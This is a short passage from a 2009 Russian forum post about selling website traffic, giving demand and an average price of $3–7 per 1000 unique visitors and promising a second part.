трафа, который вы имеете в день(учитывается только уникальный). По своему опыту могу сказать, что качественный траф на данный момент имеет высокий спрос, и очень часто чтобы купить траф приходится ждать в очереди по несколько дней. Средняя цена за 1000 уников сейчас от 3-7$ .</p> <p>Ну вот в принципе и все, естественно обо всем рассказать нереально, я в своей статье постарался изложить ключевые моменты. В следующей статье(У истоков трафа часть 2) я расскажу как еще можно использовать траф в своих целях ;)</p> mybb@mybb.ru (TM) Mon, 12 Oct 2009 14:27:57 +0400 http://traff.mybb.forum/viewtopic.php?pid=3#p3